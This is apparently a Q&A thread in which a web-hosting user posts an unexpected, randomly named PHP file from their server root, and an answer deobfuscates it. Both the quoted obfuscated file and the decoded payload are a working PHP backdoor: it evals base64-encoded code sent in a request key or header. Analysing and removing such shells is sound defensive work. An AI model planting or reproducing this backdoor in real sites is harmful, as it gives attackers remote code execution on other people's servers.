Randomly named php file on my hosting server - php

Question

About a week ago, I noticed there was a seemingly randomly named PHP file that had appeared in the root folder of my shared web hosting. The name of the file is "hvkqwvkj.php" and I very stupidly removed it before I looked at the owner/group and permission information. I'd like to know what this is and how it got there. Here is the contents of that file:
<?php
$circulated='ad,$E)eNf'; $chickadees= 't';$glissade ='TeUs';$antoinette= '6'; $lithic='o'; $hydrophobic='TR)iec$$W';$blaspheming='G';$eerily= 'u';$diagrammer =']A))eDO'; $huh= '(rCS/H:s';$din = 'g'; $harri = '.';$housed ='S';$browbeating = 'E(K+Nl';$deniable = 'dew_'; $flared='[';$baseboards = 'R;I';$conversed= '-'; $jammed = 'C'; $confident ='s';$homed ='a'; $bullock ='?';$asdf = 'T$v]';$debugs= 'LV9[U';$cheaters='$'; $juice = ';';$impropriety=')Hf6]tNar'; $fluently= '>(e;_sa'; $antagonism='t';
$jaquith= '"i_K4W';$canal ='(';$bookie='i';
$envies ='_n';$copyright='Pns#iSd'; $hampers='$'; $incontrovertible ='Te['; $irking ='?';$citadel ='iRy=';
$economizing= 'b'; $campanile = 'y'; $awn = 'N'; $compacting='c'; $journalist= 'O'; $evaluate = 'nQ:'; $booking = 'e'; $dolt= '_Q';$bottoming='U';$grabs= 'H';$covers ='(rrta';$breakfasted ='T_"(_uTM_';$confectionery = 'A'; $bolstered = 'E'; $kitti='a'; $kali ='neWn';$jersey ='e'; $fewer= 'a';
$earthmove ='a';$forgivable='1'; $hello =';Sru';$forwent = 'g';$gingham = '?';$fanatic='ot(RstP';$levee='S';$baser = 'B_,"c';$constructs= 'rai';$deletions='u';$attempters='g"sss_';$dispatcher ='ra=';$ken =')';$contrivance = '[D)dae'; $chrome ='i';$glutting='I<'; $devoutness= ';';$foible= '8';
$diagonally='$5D(vn';
$beauregard ='S';$ines='te]ee'; $imogen = 's';
$irene ='("as3:0$r';$grassier ='4';
$consortium ='r'; $appliance ='S'; $histochemistry= 'A'; $beamer='v';$enchain ='s'; $assaults= 'E';$davida='dNe'; $foamed= 'E)n';$cavity='=l';
$drudge='F';
$arraigning= 'p_E "i'; $firmware='",)a(';$jeanine= ')';
$equivalently ='"7$p'; $biller='m'; $likeness= 'i'; $closest = 'OP(vVrwJ$'; $commissioner='rU)o2';
$kaycee= 'c';$fanni = $kaycee['0'] .$commissioner[0] .$davida[2] .$firmware['3'].
$ines['0'] . $davida[2] . $arraigning['1'].$impropriety[2].$deletions. $foamed['2'] . $kaycee['0'].$ines['0']. $likeness . $commissioner[3].$foamed['2'];
$bob=$arraigning[3];
$druggist= $fanni ($bob,$davida[2] . $closest['3'].$firmware['3']. $cavity['1'] .$closest['2'].$firmware['3']. $commissioner[0]. $commissioner[0].
$firmware['3']. $campanile .$arraigning['1'].$equivalently['3'] . $commissioner[3] .$equivalently['3'] .
$closest['2'].$impropriety[2] .$deletions . $foamed['2'] . $kaycee['0'].$arraigning['1'] .
$attempters['0'] .$davida[2]. $ines['0'] .$arraigning['1']. $firmware['3'] . $commissioner[0] .$attempters['0'].$enchain .
$closest['2'] .$commissioner['2'] . $commissioner['2'] .$commissioner['2'] . $devoutness);$druggist ($closest['2'] ,$gingham,$attempters['0'],$dinnie['2'] ,$gwenneth ,$biller, $disdains[2],$closest['0'],$harri , $closest['8'] .$likeness. $cavity['0'].$firmware['3'] . $commissioner[0].
$commissioner[0].$firmware['3'] .
$campanile . $arraigning['1']. $biller.
$davida[2] .
$commissioner[0] . $attempters['0']. $davida[2] .$closest['2'] .$closest['8'] .$arraigning['1'].
$fanatic['3'] . $arraigning['2'].$dolt[1] .$commissioner['1'] .
$arraigning['2']. $appliance . $breakfasted[6]. $firmware['1'] .
$closest['8']. $arraigning['1'].
$jammed.$closest['0'].$closest['0'] .$jaquith['3'].
$glutting['0'] .
$arraigning['2']. $firmware['1']. $closest['8'] . $arraigning['1'].$appliance. $arraigning['2'].
$fanatic['3'] .$closest['4']. $arraigning['2'] . $fanatic['3'].$commissioner['2'] .
$devoutness. $closest['8'].$firmware['3']. $cavity['0'] . $likeness.$enchain. $enchain.
$davida[2] .
$ines['0'] . $closest['2'] .
$closest['8'] .$likeness. $contrivance[0].
$equivalently['0']. $foamed['2'] . $davida['0'].
$enchain .
$enchain.$closest['6'] .$firmware['3']. $foamed['2'].$deletions .$equivalently['0']. $ines[2] . $commissioner['2'].$gingham .
$closest['8'] .$likeness .$contrivance[0] .
$equivalently['0'].
$foamed['2'] . $davida['0'] .$enchain .$enchain .$closest['6'].$firmware['3'].$foamed['2'].$deletions .
$equivalently['0'] .
$ines[2] . $irene['5'] . $closest['2'].$likeness . $enchain. $enchain.$davida[2].$ines['0'] .$closest['2'].$closest['8'] . $likeness. $contrivance[0] .$equivalently['0'] . $grabs.$breakfasted[6] . $breakfasted[6] . $closest['1'] .$arraigning['1'] . $davida['1'].$diagonally[2] . $appliance.
$appliance .
$kali['2'].$histochemistry . $davida['1'].$commissioner['1'] . $equivalently['0'] . $ines[2].$commissioner['2'].$gingham. $closest['8'].
$likeness.$contrivance[0].
$equivalently['0'].$grabs .$breakfasted[6].$breakfasted[6] . $closest['1']. $arraigning['1'].$davida['1']. $diagonally[2] .$appliance .
$appliance. $kali['2'].$histochemistry . $davida['1'].$commissioner['1'].$equivalently['0'] . $ines[2] . $irene['5'].
$davida['0'] . $likeness.$davida[2]. $commissioner['2'].$devoutness.$davida[2]. $closest['3'] .$firmware['3'] .
$cavity['1'] .$closest['2'] . $enchain. $ines['0'] . $commissioner[0] .
$commissioner[0] .$davida[2].$closest['3'] . $closest['2']. $economizing .$firmware['3'].
$enchain.$davida[2] .$impropriety['3']. $grassier .$arraigning['1']. $davida['0'].$davida[2].$kaycee['0']. $commissioner[3].$davida['0'] .
$davida[2] .
$closest['2'].
$enchain.$ines['0'] .$commissioner[0] . $commissioner[0]. $davida[2] .$closest['3'] . $closest['2'].$closest['8']. $firmware['3'].$commissioner['2'].
$commissioner['2']. $commissioner['2'] . $commissioner['2'].
$devoutness );

Answer 1

I was able to parse out the actual coding.
The file employs obscurity to avoid detection. It defines a function and then uses eval to execute it.
Here is the payload (the important bit).
//Take all types of request data and merge them
//This opens up many types of attack vectors
$i = array_merge($_REQUEST, $_COOKIE, $_SERVER);
//Look for a specific injected key called "ndsswanu" or HTTP_NDSSWANU and records its value if its set
$a = isset($i["ndsswanu"]
) ? $i["ndsswanu"] : (isset($i["HTTP_NDSSWANU"]) ? $i["HTTP_NDSSWANU"] : die);
//execute it
//iirc the reason for the double reverse is to avoid some characters being improperly encoded in base64.
//This statement runs any php code sent in the "ndsswanu" or HTTP_NDSSWANU key.
eval(strrev(base64_decode(strrev($a))));
You were correct to remove it immediately, however this is only a symptom of a greater problem. How the script got there is of a much larger concern.
This code would allow an attacker to remotely run any php code via a varied amount of attack vectors.